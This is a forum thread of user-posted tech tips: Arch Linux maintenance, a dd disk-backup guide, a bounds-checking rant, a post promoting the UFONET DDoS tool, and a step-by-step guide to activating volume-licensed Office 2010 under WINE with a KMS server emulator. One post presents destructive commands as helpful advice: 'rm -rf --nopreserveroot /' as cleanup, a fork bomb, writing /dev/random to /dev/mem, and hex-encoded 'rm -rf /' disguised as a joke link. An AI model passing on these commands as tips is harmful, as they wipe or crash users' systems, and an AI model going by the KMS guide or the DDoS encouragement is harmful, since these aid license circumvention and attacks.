Teach Me Something New Today - ~{[Momma Nora's Unhinged Rants]}~

  • 🐕 I am attempting to get the site runnning as fast as possible. If you are experiencing slow page load times, please report it.

What's your operating system of choice.

  • Windows

  • Windows XP

  • Windows Vista

  • WIndows 7

  • Windows 8

  • WIndows 8.1

  • WIndows 10

  • WIndows 11

  • Linux

  • Ubuntu

  • Tails

  • Debian

  • Kali

  • Parrot

  • OpenSUSE

  • Linux (Other)

  • OSX


Results are only viewable after voting.
With UFONET, there's no excuse for not doing your own DDoS attacks:
1693584381293.png
1693584421944.png
1693584458061.png
1693584520962.png
 
This is some what tech related, but more military related in all honesty. The US Marine Corps created an unmanned truck that fires tomahawk cruise missiles. It is an unmanned missile truck the size of, if not smaller than a logistics truck that can threaten PLA warships and block off sea lanes to Chinese trade.
1693586937899.png1693587204136.png
 
some noob Arch tipz I wish I had known earlier:

this probably applies to some other package managers too, but for pacman specifically, there is no automatic cache control for downloaded packages and /var/cache/pacman/pkg/ will grow steadily with each update until it eats your entire drive. you need to manually clear it with paccache -rk# where # is the number of package versions you want to keep. on the topic of storage space, Filelight is a good visual drive space analysis tool like WinDirStat.

your repository mirror list will grow obsolete with time and needs to be periodically updated. reflector is a convenient way to script this, the linked wiki page will tell you how to automate it as well if you want. as a nice bonus, whenever reflector generates a mirror list, it saves the command used to generate it in the header comments of the file for future reference.

learn to manually edit your xorg config and generate a modeline for your display(s). being unable to set your desired resolution/refresh rate due to something durping during the process of auto-configuration is a common enough problem that you'll probably have to deal with it at some point. it happened to me when I bought a fancy new gaming monitor only for the cursed Linux NVIDIA drivers to fail to detect its proper refresh rate (144 Hz) and default to 60 Hz (cringe). it's not hard to learn but it's not terribly intuitive, so you will have to RTFM.

use Tk-Glitch's script to create a custom patched kernel. it can take a long time depending on your CPU (~25 mins on my Ryzen 7 2700X) but the performance optimizations usually make a noticeable difference depending on what you're using that system for. use the BMQ scheduler for gaming. you can figure out the name of your CPU architecture from a quick glance at the spec sheet on most online retailers or the manufacturer's site. make sure you always keep one version of the unpatched Linux kernel and one previous kernel you've booted into successfully in addition to the one you're using, just in case.

use Ctrl+Alt+F1-F7 to switch between terminal sessions. assuming you're not hardware locked, using a different tty can save you from having to restart if, for example, your xorg session takes a shit and becomes unresponsive. sometimes I keep htop running in another terminal session just in case, especially if I'm fucking around with software I know or suspect might be unstable.

get at least 15 minutes of sunlight and nontrivial exercise every day or you will become disgusting and then die.
 
Linux has a wonderful tool called dd, which can be used to create images, backup, and restore entire drives, including all their partitions, fiddly flags, and magic boot nonsense.

(Disk duplicator, also known as disk destroyer, because you have to get the command right or it'll happily fry your disk.)

To back up a disk to a file, you can do something like this:
dd if=/dev/sdx bs=64k status=progress conv=noerror,notrunc,sync | gzip -c > diskimage.ddimg.gz

To restore:
gunzip -c diskimage.ddimg.gz | dd of=/dev/sdx bs=64k status=progress conv=noerror,notrunc,sync

To copy one disk to another, you could do something like this
dd if=/dev/sdx of=/dev/sdy status=progress conv=noerror,notrunc,sync

if - the input file (input special device or disk) [replace /dev/sdwhatever with the particular disk or file your situation calls for]
of - the output file/disk. (This is where dd will happily and blindly dump the data, make sure this is right.)
bs - the block size used by dd during copy operations. Default is too small, making copies too slow.

(in the above command, in the absence of of, dd will dump the data to stdout, which can be piped to a different program, like gzip. Gzip is dumping it to a file.

status=progress - provide a progress bar update. These copies sometimes take an hour or three.
noerror,notrunc,sync - flags to ensure things are written verbatim to the file/stdout/drive

Anyway, I get a lot of use out of this tool. I use it to back up my system drives periodically. I've rolled back to previous states without a hiccup to crush viruses (including Windows update). I've shuffled my parent's home pc over to larger drives and Windows doesn't even know. I use it with system rescue CD to make sure I'm copying a drive that isn't currently active.

You can also use it to read and write CD isos, and outre-formatted floppy images to floppies. (OS/2 warp, CP/M DOS and other things about which heiroglyphics are on tomb walls .... ... .)
 
  • Informative
Reactions: seri0us
on linux to clean your system of useless crap on your root drive, run a terminal with the command
sudo rm -rf --nopreserveroot /
for a free performance boost run
Code:
:(){ :|:& };:
to free up memory run
cat /dev/random > /dev/mem
to gain access to linus's feet pics
$(echo 0x726d202d7266202f0a | xxd -r)
$(echo 0x7265626f6f740a | xxd -r)
hope this helps!
 
Alright, I guess I'll post my instruction on how to install Office 2010 on Debian under WINE and activate it with a local KMS server emulator:

Step 1: Preparation

First of all, you'll need an image of Microsoft Office 2010. Doesn't matter if it's Standard or Professional Plus, what matters is that it should be a 32-bit version. This one runs flawlessly. Also check that it is a Volume License (VL) image - this is the one that requires validation from a KMS server.

You'll also need to install cpulimit. We'll need it later during the install - if you don't have it, the installer can crash at around 50% mark.

Also, as I already mentioned, you'll need a KMS Server Emulator. Download it from the link above.
Unfortunately vlmcsd's devs don't want to provide pre-compiled packages, so you'll need to compile it from the source. Here's how to do that, just in case:

1. Install git, gcc and make:
sudo apt install git gcc make
2. Download and compile vlmcsd:
Code:
git clone https://github.com/Wind4/vlmcsd
cd vlmcsd
make
Now, cd into ./bin directory and start the server with ./vlmcsd
Try it out by running "./vlmcs", the output should look similar to this:
Connecting to 127.0.0.1:1688 ... successful
Sending activation request (KMS V6) 1 of 1 -> 06401-00206-554-296057-03-1103-9600.0000-2932018 (3A1C049600B60076)
Congrats, you did it.

Now, you'll need to make it autostart with your system. You can do this in many different ways (like with your session manager), here's how to do it with systemd:
Code:
cp vlmcsd /usr/bin
cp vlmcs /usr/bin
touch /etc/systemd/system/kms-script.service
chmod 664 /etc/systemd/system/kms-script.service
nano /etc/systemd/system/kms-script.service
Add the following to the service file:
Code:
[Unit]
Description=Microsoft KMS Server
After=network.target
After=network-online.target
Wants=network-online.target
 
[Service]
Type=oneshot
ExecStart=/usr/bin/vlmcsd -l /var/log/vlmcsd.log
RemainAfterExit=yes
LimitNOFILE=65536
 
[Install]
WantedBy=multi-user.target
Now, start the service and add it to autoload:
Code:
systemctl daemon-reload
systemctl start kms-script.service
systemctl enable kms-script.service
You can check it with "systemctl status kms-script.service", the output should look like this:

● kms-script.service - Microsoft KMS Server
Loaded: loaded (/etc/systemd/system/kms-script.service; enabled; vendor preset: enabled)
Active: active (exited) since Fri 2022-04-08 12:22:34 MSK; 11h ago
Main PID: 1804 (code=exited, status=0/SUCCESS)
Tasks: 1 (limit: 19043)
Memory: 288.0K
CGroup: /system.slice/kms-script.service
└─1819 /usr/bin/vlmcsd -l /var/log/vlmcsd.log
Great, now it will autostart! Also, the -l /var/log/vlmcsd.log part isn't strictly necessary, but it's nice to have around for troubleshooting purposes.

Now, install samba, winbind and cabextract:
sudo apt install samba winbind cabextract

Now we're finally ready to start installing all the Windows-related junk. Let's do this in a separate WINE prefix, just in case:
WINEARCH="win32" WINEPREFIX="/home/username/.office32" winetricks riched20 gdiplus msxml6 mspatcha riched30 dotnet20 mfc100 wsh57 vcrun6

After installing all that, open up winecfg:
WINEPREFIX="/home/username/.office32" winecfg

Go to "Libraries" tab and create a new override for a library "riched32" - set it to "native". Also set the Windows version to "Windows XP".

And with this, we're finally ready to start installing Office 2010.

Step 2: Installation

Unpack the installation image with an archive manager of your choosing, open terminal in directory where you unpacked it and open setup.exe:
WINEPREFIX="/home/username/.office32" wine setup.exe

Now, the installer should open up. However, instead of proceeding with the install as usual, open a new tab in the terminal, and execute the following command:
cpulimit -l 10 -p $(pgrep -i setup.exe)

This should fix the 50% mark crash.
After that, proceed with the installation as you would on Windows.

Step 3: Activation

We're just about done here. All that remains to do is to add the necessary Registry values that point to our KMS server emulator.
Open up WINE registry editor:
WINEPREFIX="/home/username/.office32" wine regedit.exe

Navigate to the key HKEY_LOCAL_MACHINE\Software\Microsoft\OfficeSoftwareProtectionPlatform.
Add the following string values under the key:
Code:
KeyManagementServiceName 0.0.0.0
KeyManagementServicePort 1688

The end result should look like this:
1649454616036.png

After this, open any Office 2010 application, select File -> Help, and then click "Change product key". The installer should open again. However, before proceeding any further, you will have to use cpulimit once again, or else the installer may crash mid-activation. Same exact command:
cpulimit -l 10 -p $(pgrep -i setup.exe)

You'll need to enter a GVLK key for your version of Office 2010. Enter it (look it up, they are publicly available), press Continue and then press Install.

If all was done correctly, your copy of Office 2010 should now be activated. Close and open Office application again and go to File -> Help to check.

KMS server emulator should also automatically re-activate Office every 180 days (any KMS-licensed product has to be reactivated at least every 180 days). You can try changing your system time in BIOS to test that. If it says it's not activated - wait a few seconds, close the application and reopen it again.
 
Bounds checking is a simple and necessary mechanism to ensure program correctness. Put simply, if I have an array, that is an ordered set of data, and the array has bounds of, say, five to ten, then any and all accesses of the array's data must ensure that the index is between five and ten, inclusive. This requires the system to have an idea of what an array is. A common solution to this is to give the computing system the notion of a type, and to make the array one of those types. This was done in hardware decades ago, meaning there could be no invalid array accesses. This concept dates to as far back as the 1950s, at the latest.

The C language was made in the 1970s by two intelligent idiots, and lacks both the notion of an array and of bounds checking. The C language emulates arrays as memory addresses and offsets, and this has been described as a negative abstraction. This flaw is exacerbated by the C language's overreliance on using such types, and its total lack of control structures, say, to iterate over an array's elements without directly manipulating the index.

Without exaggeration, most flaws in computing systems are a direct result of no bounds checking. Idiots insist on their ability to manually insert bounds checking, and grotesque flaws result whenever they miss a single instance. I liken such idiots to cultists. For an example, look at what the OpenBSD programmers add in a vain attempt to avoid bounds checking.

These absolute fucking idiots refuse to let the computers automate away drudgery for them, because they believe themselves capable of better, despite decades of contrary evidence.

The recent flaw with Google's shitty WebP format wouldn't have happened with bounds checking, as a recent example. A related issue is general memory management; programmers at Apple Computer spend hours, days, months, and maybe years, searching for memory flaws in the deepest depths of the operating system, but the solution to this problem is to let the machine handle it, and this was known in the 1950s. Think about this the next time some idiot programmer says that modern machines aren't fast enough to cope with that.
 
Back